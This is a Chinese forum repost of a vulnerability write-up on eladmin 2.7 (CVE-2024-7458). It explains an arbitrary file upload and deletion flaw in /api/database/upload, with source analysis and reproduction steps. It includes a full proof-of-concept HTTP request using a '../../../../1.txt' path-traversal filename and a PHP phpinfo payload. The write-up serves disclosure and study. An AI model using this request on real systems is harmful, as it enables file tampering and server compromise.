eladmin (文件上传+文件删除)(cve-2024-7458)

打印 上一主题 下一主题

主题 704|帖子 704|积分 2112

侵权声明
本文章中的所有内容(包括但不限于文字、图像和其他媒体)仅供教育和参考目标。假如在本文章中使用了任何受版权掩护的材料,我们满怀敬意地认可该内容的版权归原作者所有。
假如您是版权持有人,并且认为您的作品被侵占,请通过以下方式与我们联系: [360619623@qq.com]。我们将在确认后的合理时间内采取适当措施,包括删除相干内容。
感谢您的理解与支持

简介


版本

2.7

poc

下面两个接口都可以文件上传和删除并且接口的文件上传和文件删除的poc是一样的,后面分析为什么
/api/database/upload
  1. POST /api/database/upload HTTP/1.1
  2. Host: localhost:8000
  3. Content-Length: 1157
  4. sec-ch-ua: "Chromium";v="125", "Not.A/Brand";v="24"
  5. Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytxmNwmDQk3BFqZIU
  6. sec-ch-ua-mobile: ?0
  7. Authorization: Bearer eyJhbGciOiJIUzUxMiJ9.eyJqdGkiOiJhMGU1MGZmN2U3YzI0MzRmOTRiYmJmMGFhMDcyMDg2NCIsInVzZXIiOiJhZG1pbiIsInN1YiI6ImFkbWluIn0.91B6e2KdQ9Lyhy_LMsMHf1imNvoYknAJy1Ew3mhgwHBAvLzaW89lRcWCMVCAYlljPjufXeXymhwSrRb9x6-obA
  8. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
  9. sec-ch-ua-platform: "Windows"
  10. Accept: */*
  11. Origin: http://localhost:8013
  12. Sec-Fetch-Site: same-site
  13. Sec-Fetch-Mode: cors
  14. Sec-Fetch-Dest: empty
  15. Referer: http://localhost:8013/
  16. Accept-Encoding: gzip, deflate, br
  17. Accept-Language: zh-CN,zh;q=0.9
  18. Connection: keep-alive
  19. ------WebKitFormBoundarytxmNwmDQk3BFqZIU
  20. Content-Disposition: form-data; name="createBy"
  21. admin
  22. ------WebKitFormBoundarytxmNwmDQk3BFqZIU
  23. Content-Disposition: form-data; name="createTime"
  24. time
  25. ------WebKitFormBoundarytxmNwmDQk3BFqZIU
  26. Content-Disposition: form-data; name="id"
  27. 71c07316ccc44a948db1d587caa9e805
  28. ------WebKitFormBoundarytxmNwmDQk3BFqZIU
  29. Content-Disposition: form-data; name="jdbcUrl"
  30. jdbc:mysql://
  31. ------WebKitFormBoundarytxmNwmDQk3BFqZIU
  32. Content-Disposition: form-data; name="name"
  33. ab
  34. ------WebKitFormBoundarytxmNwmDQk3BFqZIU
  35. Content-Disposition: form-data; name="pwd"
  36. root
  37. ------WebKitFormBoundarytxmNwmDQk3BFqZIU
  38. Content-Disposition: form-data; name="updateBy"
  39. admin
  40. ------WebKitFormBoundarytxmNwmDQk3BFqZIU
  41. Content-Disposition: form-data; name="updateTime"
  42. time
  43. ------WebKitFormBoundarytxmNwmDQk3BFqZIU
  44. Content-Disposition: form-data; name="userName"
  45. root
  46. ------WebKitFormBoundarytxmNwmDQk3BFqZIU
  47. Content-Disposition: form-data; name="file"; filename="../../../../1.txt"
  48. Content-Type: application/octet-stream
  49. <?php phpinfo();?>
  50. ------WebKitFormBoundarytxmNwmDQk3BFqZIU--
复制代码
这个就不写了
/api/deploy/upload

分析

通过过搜刮关键字upload找到接口/api/database/upload的源码

其中fileName参数是输入进来的文件名,后续和fileSavePath直接进行拼接。

其中fileSavePath是系统的暂时文件目录

往后红框中的两句话及毛病所在
FileUtil.del(executeFile);删除executeFile文件
file.transferTo(executeFile);上传executeFile文件
以是会先删除和上传文件名相同的文件,然后在创建一个相同的
通过过搜刮关键字upload也可以找到接口/api/deploy/upload的源码
该接口毛病成因也是和上面接口一样,就不做分析了


复现

/api/database/upload只复现这个接口的
1、找到毛病位置,新建一个数据库,数据库随便填,密码和账号要精确。

2、选中数据库,点击执行脚本,然后上传图片或其他文件。记得用bp抓包之后好修改,假如发送到重放器token会失效上传不乐成。其中表示token的参数是哀求行中的Authorization参数。

3、修改数据包

4、起首看文件删除的效果


5、之后文件上传的效果

/api/deploy/upload第二个接口的上传位置


总结

我认为位置还是比较新奇的,不过值得留意的是系统文件模块中的接口文档中有很多接口可以使用。
文件操作函数del()、transferto()

参考

编号参考
https://github.com/elunez/eladmin/issues/851
项目地址
https://gitee.com/elunez/eladmin
免责声明
本博客所提供的技能知识和信息仅旨在教育和分享网络安全最佳实践,促进网络安全意识的提拔。作者严禁将这些技能和信息用于任何非法或不道德的目标。
使用本博客内容而导致的任何违法行为或后果,作者不承担当何法律责任。所有读者在使用本博客的信息时,应自行承担风险,并确保遵守当地法律法规。
我们鼓励所有读者合法地使用所提供的信息和技能,致力于维护安全和负责任的网络环境。
感谢您的理解与支持。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

梦应逍遥

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表